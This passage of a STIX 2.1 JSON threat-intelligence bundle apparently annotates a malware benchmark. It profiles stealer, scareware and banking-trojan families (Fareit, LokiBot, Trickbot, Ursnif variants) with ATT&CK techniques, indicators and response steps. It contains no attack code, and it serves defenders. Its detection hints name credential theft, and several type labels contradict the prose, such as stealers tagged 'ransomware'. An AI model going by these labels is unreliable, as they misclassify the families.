may detect the sudden creation and deletion of ZIP or RAR archives in the `%Temp%` directory. Network IoCs include a sudden burst of outbound HTTPS traffic (the exfiltration) immediately following the execution of an untrusted file. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hpcubestlr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hpcubestlr"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6933b475-6396-5312-bf2c-6bb66d046a78",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--885c38ae-ef46-5d73-9096-5de3759b8355",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpcubestlr exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers (Extracting saved passwords))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--016e59db-34ca-5b63-9940-3c70b5565b43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--885c38ae-ef46-5d73-9096-5de3759b8355",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpcubestlr exhibits technique T1114 (Email Collection (Stealing email client data and tokens))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6900aa39-e7d3-574e-b23e-b986b1af9a6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--885c38ae-ef46-5d73-9096-5de3759b8355",
      "target_ref": "attack-pattern--3fdb36f7-3f3b-517d-a867-ed94c17be68a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpcubestlr exhibits technique T1560.001 (Archive Collected Data: Archive via Utility (Compressing stolen data for exfiltration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--186e475f-6551-5d33-955c-c9a4d67af87d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--885c38ae-ef46-5d73-9096-5de3759b8355",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpcubestlr exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--775093c9-9676-5254-b977-dfbb75dc5952",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hpdefender",
      "description": "Hpdefender (cataloged across antivirus telemetry as Rogue:Win32/HpDefender, Trojan:Win32/HpDefender, and Rogue.HpDefender) is an aggressive rogue security program and scareware family active since 2010. Mimicking legitimate computer security suites from major PC manufacturers and Windows Defender, Hpdefender was distributed via exploit kits, malicious advertising (malvertising), and deceptive software download portals. Once installed on a Windows workstation, Hpdefender hijacks system controls, immediately terminating active processes belonging to legitimate antimalware vendors and altering registry keys to disable administrative utilities\u2014specifically blocking Windows Task Manager (DisableTaskMgr) and the Registry Editor (DisableRegistryTools). The scareware bombards the user with fabricated critical infection popups, false hard drive failure alerts, and simulated malware scan animations. It locks user access to legitimate executable files and web browsers, demanding immediate credit card payment for a 'commercial license key' to clean the nonexistent infections. (Observed samples in benchmark: 109)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue:Win32/HpDefender",
        "Trojan:Win32/HpDefender",
        "Rogue.HpDefender",
        "Win32/HpDefender"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hpdefender",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hpdefender"
        }
      ],
      "labels": [
        "rogue_antivirus",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a19f0ced-255b-5402-bf47-acb77ad60a2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--775093c9-9676-5254-b977-dfbb75dc5952",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpdefender exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--515c5e04-0486-5f6b-9d8b-ffb779b66fe1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--775093c9-9676-5254-b977-dfbb75dc5952",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpdefender exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9fab37c3-49f6-5411-ac4c-a03e5d4fce05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--775093c9-9676-5254-b977-dfbb75dc5952",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpdefender exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5eb8e65c-c241-5f8b-86a9-f4a177e0a84f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--775093c9-9676-5254-b977-dfbb75dc5952",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpdefender exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4008df0-2091-512e-b9ab-81e9580615f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--775093c9-9676-5254-b977-dfbb75dc5952",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpdefender exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16da363a-0e14-5c80-8a3d-473367227598",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--775093c9-9676-5254-b977-dfbb75dc5952",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpdefender exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cf2f01dd-0d48-5e8c-9d37-ad22cbd061e1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hpfareit",
      "description": "<h3>Executive Summary</h3>\nHPFareit is an alias used by specific security vendors to identify variants of the highly prolific **Fareit** (also known as Pony) malware family. It is a sophisticated information stealer and downloader designed to harvest a vast array of credentials, session tokens, and cryptocurrency wallets from compromised endpoints, before frequently downloading secondary payloads.\n\n<h3>Infection Vector and Extraction Methodology</h3>\nHPFareit is primarily distributed via massive malspam campaigns, often disguised as invoices or shipping documents containing malicious macro-enabled attachments or links to exploit kits.\n\nUpon execution, HPFareit performs rapid, automated data extraction:\n<ul>\n<li><strong>Credential Theft:</strong> It systematically targets over 100 different applications, extracting stored passwords from web browsers (Chrome, Firefox, Edge), FTP clients (FileZilla, WinSCP), email clients (Outlook, Thunderbird), and instant messaging programs.</li>\n<li><strong>Cryptocurrency Targeting:</strong> It actively searches for and steals wallet files (e.g., `wallet.dat`) associated with popular cryptocurrencies like Bitcoin, Litecoin, and Ethereum.</li>\n<li><strong>Data Exfiltration:</strong> The stolen data is aggregated, compressed, and covertly transmitted to a remote command-and-control (C2) server via HTTP POST requests or FTP uploads.</li>\n</ul>\nAfter the initial data theft is complete, HPFareit frequently acts as a downloader, reaching out to its C2 server to fetch and execute secondary malware, such as the ZeuS banking trojan or various ransomware families.\n\n<h3>Security and Privacy Implications</h3>\nAn HPFareit infection is a critical security breach resulting in the immediate compromise of corporate and personal credentials. This stolen intelligence is often sold on dark web marketplaces or used immediately to pivot laterally within the corporate network.\n\n<h3>Incident Response and Mitigation</h3>\n<ul>\n<li><strong>Credential Invalidation:</strong> Immediate, organization-wide password resets are mandatory following a confirmed HPFareit infection. All active session tokens must be forcibly revoked.</li>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Deploy EDR solutions configured to alert on processes attempting unauthorized, bulk access to browser profile directories (`%LocalAppData%\\Google\\Chrome\\User Data`) and the `CryptUnprotectData` API.</li>\n<li><strong>Email Security:</strong> Implement strict email filtering and sandboxing to block malicious attachments (macros, scripts) before they reach the end-user.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Fareit",
        "Pony Stealer",
        "PasswordStealer.Fareit",
        "Win32/Fareit"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hpfareit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hpfareit"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--242a8039-e1ab-55f0-8ee1-46ee269e320e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf2f01dd-0d48-5e8c-9d37-ad22cbd061e1",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpfareit exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--491a22e2-bb21-547c-9c7b-90ba8d1041d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf2f01dd-0d48-5e8c-9d37-ad22cbd061e1",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpfareit exhibits technique T1003 (OS Credential Dumping (Built-in Mimikatz integration))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a84a0d6-d598-523d-8792-fd7b59a3c024",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf2f01dd-0d48-5e8c-9d37-ad22cbd061e1",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpfareit exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Exfiltration via SMTP/Email))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a05fd21-897e-5f45-906e-381c8a4c3774",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf2f01dd-0d48-5e8c-9d37-ad22cbd061e1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpfareit exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--be60e296-c5ba-5ec7-a78c-97b0a58b888a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hpgen",
      "description": "Trojan:Win32/Hpgen is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Hpgen</b><br>To an end-user, a Hpgen infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Hpgen is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Hpgen is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Hpgen frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Hpgen reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hpgen",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hpgen"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff6b0e3d-4eb7-56e7-b72c-502b3330912f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be60e296-c5ba-5ec7-a78c-97b0a58b888a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpgen exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1732be05-7de8-5f2f-9cf4-7a1d80f9cc81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be60e296-c5ba-5ec7-a78c-97b0a58b888a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpgen exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f56dd785-16a0-539d-a54e-ee4d77f05714",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be60e296-c5ba-5ec7-a78c-97b0a58b888a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpgen exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e59e4b21-3bc9-57c0-aa21-5b3d9fbedd15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be60e296-c5ba-5ec7-a78c-97b0a58b888a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpgen exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2effc37-6c3a-577e-b57f-bb368c77605e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--be60e296-c5ba-5ec7-a78c-97b0a58b888a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hpgen exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1f506a56-9225-58a7-a583-a86a38c2ad9c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hploki",
      "description": "HpLoki (cataloged across threat intelligence feeds and security vendors under detections including Trojan:Win32/HpLoki, Trojan:Win32/HpLoki!rfn, Trojan-PSW.Win32.Loki, and PWS:Win32/Lokibot) is a pervasive Windows information-stealing trojan and reconnaissance backdoor belonging to the wider LokiBot malware ecosystem. Active since 2015, HpLoki is distributed via malspam email campaigns harboring password-protected archive attachments (ZIP, RAR, 7z), ISO disk images, and weaponized Microsoft Office documents exploiting vulnerabilities such as CVE-2017-11882. Upon initial execution, HpLoki injects its payload into legitimate Windows system processes such as vbc.exe or svchost.exe to bypass host-based endpoint detection. The malware systematically scans local storage to extract stored credentials, session cookies, and authentication tokens from over 100 applications, including Google Chrome, Mozilla Firefox, Microsoft Edge, Opera, FileZilla, PuTTY, WinSCP, Microsoft Outlook, and Thunderbird. Furthermore, HpLoki harvests cryptocurrency wallet keys and machine configuration profiles before compressing and exfiltrating stolen telemetry to remote C2 command servers via HTTP POST requests. (Observed samples in benchmark: 58)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/HpLoki",
        "Trojan:Win32/HpLoki!rfn",
        "Trojan-PSW.Win32.Loki",
        "PWS:Win32/Lokibot",
        "Win32/HpLoki"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hploki",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hploki"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4191c628-8f91-541f-b857-b8466ccdf332",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f506a56-9225-58a7-a583-a86a38c2ad9c",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hploki exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97d97276-80a5-584a-8015-ab3cf787cae1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f506a56-9225-58a7-a583-a86a38c2ad9c",
      "target_ref": "attack-pattern--ad44e68a-29e4-5d0a-8752-ef97772c6508",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hploki exhibits technique T1555.004 (Credentials from Password Stores: Windows Credential Manager)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb9a2dd3-f976-526f-b140-b392671c515d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f506a56-9225-58a7-a583-a86a38c2ad9c",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hploki exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7954830-2329-5aef-b861-7ad7f54cd91a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f506a56-9225-58a7-a583-a86a38c2ad9c",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hploki exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2d22ec7-a704-5f0c-8683-8979c0a27002",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1f506a56-9225-58a7-a583-a86a38c2ad9c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hploki exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a764739a-ea69-544b-9840-b97c4aa6d046",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hptrickbot",
      "description": "Trojan:Win32/Hptrickbot is a heuristic detection associated with Trickbot, one of the most prolific and dangerous banking trojans and botnets in history. Originally designed to steal financial credentials via web injects, Trickbot evolved into a highly modular, enterprise-level Initial Access Broker (IAB). It is infamous for breaching corporate networks, moving laterally, and ultimately deploying devastating ransomware like Ryuk or Conti.<br><br><b>Understanding Hptrickbot (Trickbot)</b><br>To an end-user, the initial infection is invisible. For a SOC analyst, a Trickbot detection is a 'Drop Everything' tier-one incident. If Trickbot is on a host, it means the attackers are actively mapping the network and preparing for domain-wide ransomware deployment.<br><br><b>Execution and Lateral Movement Mechanics</b><br>Trickbot typically arrives via malspam (often delivered by Emotet) containing malicious macros (`T1566.001`). Upon execution, it disables Windows Defender (`T1562.001`) and drops its main payload into `%AppData%`. Trickbot is heavily modular. It downloads modules to steal credentials from browsers (`T1552`), scrape active directory using LDAP queries (`T1087.002`), and harvest emails. Crucially, it uses the stolen credentials and tools like PsExec or WMI (`T1047`) to move laterally across the network (`T1021.002`), infecting other hosts and domain controllers.<br><br><b>Indicators of Compromise & Impact</b><br>The impact ranges from massive credential theft to total domain compromise and ransomware. Host-based IoCs include the presence of a scheduled task named after a random string, the execution of `svchost.exe` without command-line arguments (process hollowing), and the presence of modular DLLs in the `%AppData%` folder. Network IoCs involve DNS queries for known Trickbot C2 infrastructure and sudden, anomalous SMB traffic (lateral movement) originating from the infected host. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hptrickbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hptrickbot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db6530da-5e73-5eb6-bd05-5a40e36833c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a764739a-ea69-544b-9840-b97c4aa6d046",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hptrickbot exhibits technique T1055 (Process Injection (Trickbot relies heavily on injecting into svchost.exe))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a588160-3eca-5c66-a577-c27172f1cf28",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a764739a-ea69-544b-9840-b97c4aa6d046",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hptrickbot exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares (Moving laterally to other hosts))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9f0e732-c772-56f8-b5ff-e61c85240cbd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a764739a-ea69-544b-9840-b97c4aa6d046",
      "target_ref": "attack-pattern--dfecdec0-7be6-56fc-8789-28cce9b2a2fc",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hptrickbot exhibits technique T1552 (Credentials In Files (Stealing passwords to enable lateral movement))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a6e3edc1-0af2-57a4-89cc-77b94255eb2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hpursnif",
      "description": "<h3>Executive Summary</h3>\nHpursnif is a highly dangerous and sophisticated alias/variant of the infamous **Ursnif** (also known as Gozi or ISFB) Banking Trojan. Recognized as one of the most prolific and long-standing financial threats in the cybersecurity landscape, Hpursnif is engineered to steal banking credentials, intercept online transactions, and facilitate massive financial fraud, primarily targeting enterprise environments and financial institutions.\n\n<h3>Propagation and Execution Lifecycle</h3>\nHpursnif utilizes multiple, highly sophisticated vectors for distribution. It is most frequently delivered via targeted spear-phishing campaigns utilizing weaponized Office documents (often containing heavily obfuscated VBA macros or exploiting Equation Editor vulnerabilities) or via exploit kits (like RIG) hosted on compromised websites.\n\nOnce a host is compromised, Hpursnif's operations are extensive and highly evasive:\n<ul>\n<li><strong>Advanced Evasion and Fileless Execution:</strong> Modern variants of Hpursnif rely heavily on \"fileless\" techniques. The initial macro executes PowerShell scripts that download and inject the Hpursnif DLL directly into memory (often into legitimate processes like `explorer.exe`), leaving minimal footprint on the hard drive to evade static antivirus detection.</li>\n<li><strong>Web Injection and MitB Attacks:</strong> Hpursnif is a classic Man-in-the-Browser (MitB) threat. It hooks into browser APIs (Chrome, Firefox, IE) to intercept web traffic. It injects malicious HTML/JavaScript into legitimate banking websites, allowing attackers to steal login credentials, intercept 2FA tokens, and silently alter wire transfer details in real-time.</li>\n<li><strong>Data Exfiltration:</strong> Beyond banking, Hpursnif acts as a comprehensive info-stealer, harvesting email credentials, system information, and digital certificates, exfiltrating this data to command-and-control (C2) servers hidden behind Tor or fast-flux networks.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Hpursnif infection is a critical, high-impact security incident. It represents a direct and immediate threat of massive financial loss, corporate account takeover, and severe data breaches for the affected organization. Its use of fileless techniques makes it incredibly difficult to detect and eradicate.\n\n<h3>Eradication and Incident Response</h3>\n<ul>\n<li><strong>Immediate Network Containment:</strong> The infected machine must be immediately physically disconnected from the network to halt active financial data exfiltration and prevent the trojan from pivoting laterally.</li>\n<li><strong>Financial Account Lockdown:</strong> Immediately notify the organization's financial institutions to freeze all associated corporate accounts and closely monitor for unauthorized wire transfers.</li>\n<li><strong>System Wipe and Re-image:</strong> Attempting to \"clean\" an Hpursnif infection using antivirus software is highly ineffective due to its in-memory execution and deep system hooks. The only guaranteed method of eradication is a complete wipe and re-image of the compromised host from a known good baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Ursnif",
        "Banker.Gozi",
        "Win32/ISFB",
        "Trojan-Banker.Win32.Ursnif"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
